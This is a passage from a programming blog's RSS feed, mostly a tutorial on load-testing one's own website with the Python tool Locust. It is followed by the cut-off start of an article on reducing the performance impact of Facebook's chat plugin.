style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; between(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;non_existing_url&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/non-existing-url&amp;#34;&lt;/span&gt;, catch_response&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; response:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;text &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Success&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;failure(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Wrong request, this shouldn&amp;#39;t exist&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;elif&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status_code &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;400&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;failure(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This url&amp;#39;s response should be less than 400 because it doesn&amp;#39;t exists&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;elif&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;elapsed&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total_seconds() &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0.5&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;failure(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Slow response&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the previous example, when trying to access a path that does not exist, the first conditional will be executed and will create a failure with the text &amp;ldquo;Wrong answer&amp;rdquo;, which we will be able to see in the failure section of the interface.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/ErrorPersonalizadoLocust.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/ErrorPersonalizadoLocust.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Custom Error in Locust&#34; width=&#34;1839&#34; height=&#34;223&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;In addition to testing the text in the response it is possible to test the other properties of the response object, such as the response code or the time it takes to return a response.&lt;/p&gt;&#xA;&lt;h3 id=&#34;success-management&#34;&gt;Success management&lt;/h3&gt;&#xA;&lt;p&gt;We can also call the &lt;em&gt;success&lt;/em&gt; method of the response object to indicate a successful response according to any behavior we want.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wait_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; between(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;non_existing_url&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/non-existing-url&amp;#34;&lt;/span&gt;, catch_response&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; response:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status_code &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;success()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;group-multiple-urls-in-one-category&#34;&gt;Group multiple urls in one category&lt;/h2&gt;&#xA;&lt;p&gt;Locust shows us the results per route, but what if we want multiple routes to be evaluated in batch, as if they were the same? Either because those routes are handled by the same server or come from the same function or any other reason.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_no_posts&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; post &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post-1&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post-2&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post-3&amp;#34;&lt;/span&gt;]:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/post/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(post), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/post/[slug]&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This function will traverse the array and make a request to each item in the list and group them all under the name &lt;em&gt;/post/[slug]&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;emulate-the-behavior-of-users-with-between&#34;&gt;Emulate the behavior of users with between&lt;/h2&gt;&#xA;&lt;p&gt;As you know, user traffic is not regular, sometimes there are many requests and sometimes few. A system has to be able to handle both cases.&lt;/p&gt;&#xA;&lt;p&gt;To simulate user behavior we can set a random timeout for each request by assigning the &lt;em&gt;wait_time&lt;/em&gt; property and using &lt;em&gt;between&lt;/em&gt; each user will wait from 1 to 5 seconds before their next request.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wait_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; between(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;hello_world&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;customized-user-behavior-curves&#34;&gt;Customized user behavior curves&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes we need more realistic curves, so we need to customize the number of active users and the speed at which they are generated, in order to modify it according to what we would expect in a real situation for our website.&lt;/p&gt;&#xA;&lt;p&gt;Locust will detect any class that inherits from &lt;em&gt;LoadTestShape&lt;/em&gt; in &lt;em&gt;locusfile.py&lt;/em&gt; automatically and will use its &lt;em&gt;tick&lt;/em&gt; method to return a tuple with the number of users and their generation rate, or None to stop the test. The &lt;em&gt;run_time&lt;/em&gt; method, which returns the time that has elapsed, will be available for us to use as we wish.&lt;/p&gt;&#xA;&lt;p&gt;tick will be called every second to get the users, so you can play with the time to generate the number of users and the speed of generation to create the user curve you want.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between, LoadTestShape&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;RandomUsers&lt;/span&gt;(LoadTestShape):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    time_limit &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Tiempo de duración de la prueba&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    spawn_rate &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;tick&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        run_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_run_time()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; run_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;time_limit:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            users &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;randint(&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;50&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            spawn &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;randint(&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;50&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (users, spawns)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I have let the return data be generated randomly, but you can use a more complex behavior.&lt;/p&gt;&#xA;&lt;h2 id=&#34;export-locust-data-to-csv&#34;&gt;Export locust data to csv&lt;/h2&gt;&#xA;&lt;p&gt;In the web interface we can export our results in the &amp;ldquo;Download data&amp;rdquo; tab but we can also generate them in the project folder directly from the command line.&lt;/p&gt;&#xA;&lt;p&gt;We select the &lt;em&gt;headless&lt;/em&gt; option so that it does not load the web interface, &lt;em&gt;csv&lt;/em&gt; will be the prefix of the csv files and &lt;em&gt;host&lt;/em&gt; for the address of the server to test.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;csv&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;prefijo_archivos_csv &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;headless &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;host&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;http:&lt;span style=&#34;color:#ff6ac1&#34;&gt;//&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;127.0.0.1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1323&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;locustfile&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py Pipfile Pipfile&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lock prefijo_archivos_csv_exceptions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;csv prefijo_archivos_csv_failures&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;csv prefijo_archivos_csv_stats&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;csv prefijo_archivos_csv_stats_history&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;csv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;deepen-locust&#34;&gt;Deepen Locust&lt;/h2&gt;&#xA;&lt;p&gt;In addition to what I have told you here, locust has hooks for events, as well as a faster client for your requests, visit the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.locust.io/en/stable/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Locust documentation&lt;/a&gt;&#xA; for more information.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;There are quite simple to use tools that allow us to audit the number of requests per second (rps) that a website supports, locust is one of them, it is made with Python and with a minimal configuration allows us to process information and obtain graphs instantly, and in real time, of the behavior of our website.&lt;/p&gt;&#xA;&lt;h2 id=&#34;install-locust&#34;&gt;Install locust&lt;/h2&gt;&#xA;&lt;p&gt;The first step is to install it using pip or any virtual environment manager.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Facebook&#39;s plugin chat how to decrease its impact?</title>
      <link>https://coffeebytes.dev/en/javascript/facebooks-plugin-chat-how-to-decrease-its-impact/</link>
      <pubDate>Tue, 05 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/facebooks-plugin-chat-how-to-decrease-its-impact/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The facebook chat plugin allows you to add a page button that connects to the chat of a facebook fanpage. But, as you know, facebook is monopolistic and the default installation loads the plugin first, making your website slower and affecting the web vitals indicators of the pages. There are some ways to mitigate this.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-impact-of-the-facebook-chat-plugin&#34;&gt;The impact of the facebook chat plugin&lt;/h2&gt;&#xA;&lt;p&gt;Loading the facebook plugin triggers a long list of web requests that download about many MB of information and consumes valuable time that can impact your page load, watch.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/facebooks-plugin-chat-how-to-decrease-its-impact/images/CargaArchivosDelFacebookChatPlugin.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/facebooks-plugin-chat-how-to-decrease-its-impact/images/CargaArchivosDelFacebookChatPlugin.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Downloads triggered by the facebook chat plugin&#34; width=&#34;851&#34; height=&#34;933&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;95 requests and about 3 mb downloaded, 4 seconds.&lt;/p&gt;&#xA;&lt;p&gt;Third-party plugins can strongly impact the metrics and performance of your web pages, both frontend and backend.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;delay-plugin-loading&#34;&gt;Delay plugin loading&lt;/h2&gt;&#xA;&lt;p&gt;The facebook plugin requires two html tags:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Messenger plugin de chat Code --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fb-root&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Your plugin de chat code 